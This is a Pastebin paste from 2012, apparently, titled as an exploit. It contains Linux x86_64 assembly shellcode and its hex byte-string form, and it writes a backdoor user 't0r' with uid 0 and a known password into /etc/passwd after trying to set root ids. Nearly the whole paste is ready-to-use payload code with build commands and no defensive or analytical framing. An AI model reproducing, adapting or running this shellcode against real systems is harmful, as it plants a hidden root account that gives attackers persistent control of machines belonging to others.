Advertisement
The_KGB

[Exploit] Add User with Pass -- Linux 32 & 64 bit

Mar 25th, 2012
151
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.33 KB | None | 0 0
  1. ;sc_adduser01.S
  2. ;Arch: x86_64, Linux
  3. ;
  4. ;Author: 0_o -- null_null
  5. ;
  6. ;Date: 2012-03-05
  7. ;
  8. ;compile an executable: nasm -f elf64 sc_adduser.S
  9. ; ld -o sc_adduser sc_adduser.o
  10. ;compile an object: nasm -o sc_adduser_obj sc_adduser.S
  11. ;
  12. ;Purpose: adds user "t0r" with password "Winner" to /etc/passwd
  13. ;executed syscalls: setreuid, setregid, open, write, close, exit
  14. ;Result: t0r:3UgT5tXKUkUFg:0:0::/root:/bin/bash
  15. ;syscall op codes: /usr/include/x86_64-linux-gnu/asm/unistd_64.h
  16. BITS 64
  17. [SECTION .text]
  18. global _start
  19. _start:
  20. ;sys_setreuid(uint ruid, uint euid)
  21. xor rax, rax
  22. mov al, 113 ;syscall sys_setreuid
  23. xor rbx, rbx ;arg 1 -- set real uid to root
  24. mov rcx, rbx ;arg 2 -- set effective uid to root
  25. syscall
  26. ;sys_setregid(uint rgid, uint egid)
  27. xor rax, rax
  28. mov al, 114 ;syscall sys_setregid
  29. xor rbx, rbx ;arg 1 -- set real uid to root
  30. mov rcx, rbx ;arg 2 -- set effective uid to root
  31. syscall
  32. ;push all strings on the stack prior to file operations.
  33. xor rbx, rbx
  34. mov ebx, 0x647773FF
  35. shr rbx, 8
  36. push rbx ;string \00dws
  37. mov rbx, 0x7361702f6374652f
  38. push rbx ;string sap/cte/
  39. mov rbx, 0x0A687361622F6EFF
  40. shr rbx, 8
  41. push rbx ;string \00\nhsab/n
  42. mov rbx, 0x69622F3A746F6F72
  43. push rbx ;string ib/:toor
  44. mov rbx, 0x2F3A3A303A303A67
  45. push rbx ;string /::0:0:g
  46. mov rbx, 0x46556B554B587435
  47. push rbx ;string FUkUKXt5
  48. mov rbx, 0x546755333A723074
  49. push rbx ;string TgU3:r0t
  50. ;prelude to doing anything useful...
  51. mov rbx, rsp ;save stack pointer for later use
  52. push rbp ;store base pointer to stack so it can be restored later
  53. mov rbp, rsp ;set base pointer to current stack pointer
  54. ;sys_open(char* fname, int flags, int mode)
  55. sub rsp, 16
  56. mov [rbp - 16], rbx ;store pointer to "t0r..../bash"
  57. mov si, 0x0401 ;arg 2 -- flags
  58. mov rdi, rbx
  59. add rdi, 40 ;arg 1 -- pointer to "/etc/passwd"
  60. xor rax, rax
  61. mov al, 2 ;syscall sys_open
  62. syscall
  63. ;sys_write(uint fd, char* buf, uint size)
  64. mov [rbp - 4], eax ;arg 1 -- fd is retval of sys_open. save fd to stack for later use.
  65. mov rcx, rbx ;arg 2 -- load rcx with pointer to string "t0r.../bash"
  66. xor rdx, rdx
  67. mov dl, 39 ;arg 3 -- load rdx with size of string "t0r.../bash\00"
  68. mov rsi, rcx ;arg 2 -- move to source index register
  69. mov rdi, rax ;arg 1 -- move to destination index register
  70. xor rax, rax
  71. mov al, 1 ;syscall sys_write
  72. syscall
  73. ;sys_close(uint fd)
  74. xor rdi, rdi
  75. mov edi, [rbp - 4] ;arg 1 -- load stored file descriptor to destination index register
  76. xor rax, rax
  77. mov al, 3 ;syscall sys_close
  78. syscall
  79. ;sys_exit(int err_code)
  80. xor rax, rax
  81. mov al, 60 ;syscall sys_exit
  82. xor rbx, rbx ;arg 1 -- error code
  83. syscall
  84. ;char shellcode[] =
  85. ; "\x48\x31\xc0\xb0\x71\x48\x31\xdb\x48\x31\xc9\x0f\x05\x48\x31"
  86. ; "\xc0\xb0\x72\x48\x31\xdb\x48\x31\xc9\x0f\x05\x48\x31\xdb\xbb"
  87. ; "\xff\x73\x77\x64\x48\xc1\xeb\x08\x53\x48\xbb\x2f\x65\x74\x63"
  88. ; "\x2f\x70\x61\x73\x53\x48\xbb\xff\x6e\x2f\x62\x61\x73\x68\x0a"
  89. ; "\x48\xc1\xeb\x08\x53\x48\xbb\x72\x6f\x6f\x74\x3a\x2f\x62\x69"
  90. ; "\x53\x48\xbb\x67\x3a\x30\x3a\x30\x3a\x3a\x2f\x53\x48\xbb\x35"
  91. ; "\x74\x58\x4b\x55\x6b\x55\x46\x53\x48\xbb\x74\x30\x72\x3a\x33"
  92. ; "\x55\x67\x54\x53\x48\x89\xe3\x55\x48\x89\xe5\x48\x83\xec\x10"
  93. ; "\x48\x89\x5d\xf0\x66\xbe\x01\x04\x48\x89\xdf\x48\x83\xc7\x28"
  94. ; "\x48\x31\xc0\xb0\x02\x0f\x05\x89\x45\xfc\x48\x89\xd9\x48\x31"
  95. ; "\xd2\xb2\x27\x48\x89\xce\x48\x89\xc7\x48\x31\xc0\xb0\x01\x0f"
  96. ; "\x05\x48\x31\xff\x8b\x7d\xfc\x48\x31\xc0\xb0\x03\x0f\x05\x48"
  97. ; "\x31\xc0\xb0\x3c\x48\x31\xdb\x0f\x05";
  98. ;
  99. ;equivalent code:
  100. ;
  101. ;char shellcode[] =
  102. ; "\x48\x31\xc0\xb0\x71\x48\x31\xdb\x48\x89\xd9\x0f\x05\x48\x31"
  103. ; "\xc0\xb0\x72\x48\x31\xdb\x48\x89\xd9\x0f\x05\x48\x31\xdb\xbb"
  104. ; "\xff\x73\x77\x64\x48\xc1\xeb\x08\x53\x48\xbb\x2f\x65\x74\x63"
  105. ; "\x2f\x70\x61\x73\x53\x48\xbb\xff\x6e\x2f\x62\x61\x73\x68\x0a"
  106. ; "\x48\xc1\xeb\x08\x53\x48\xbb\x72\x6f\x6f\x74\x3a\x2f\x62\x69"
  107. ; "\x53\x48\xbb\x67\x3a\x30\x3a\x30\x3a\x3a\x2f\x53\x48\xbb\x35"
  108. ; "\x74\x58\x4b\x55\x6b\x55\x46\x53\x48\xbb\x74\x30\x72\x3a\x33"
  109. ; "\x55\x67\x54\x53\x48\x89\xe3\x55\x48\x89\xe5\x48\x83\xec\x10"
  110. ; "\x48\x89\x5d\xf0\x66\xbe\x01\x04\x48\x89\xdf\x48\x83\xc7\x28"
  111. ; "\x48\x31\xc0\xb0\x02\x0f\x05\x89\x45\xfc\x48\x89\xd9\x48\x31"
  112. ; "\xd2\xb2\x27\x48\x89\xce\x48\x89\xc7\x48\x31\xc0\xb0\x01\x0f"
  113. ; "\x05\x48\x31\xff\x8b\x7d\xfc\x48\x31\xc0\xb0\x03\x0f\x05\x48"
  114. ; "\x31\xc0\xb0\x3c\x48\x31\xdb\x0f\x05";
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement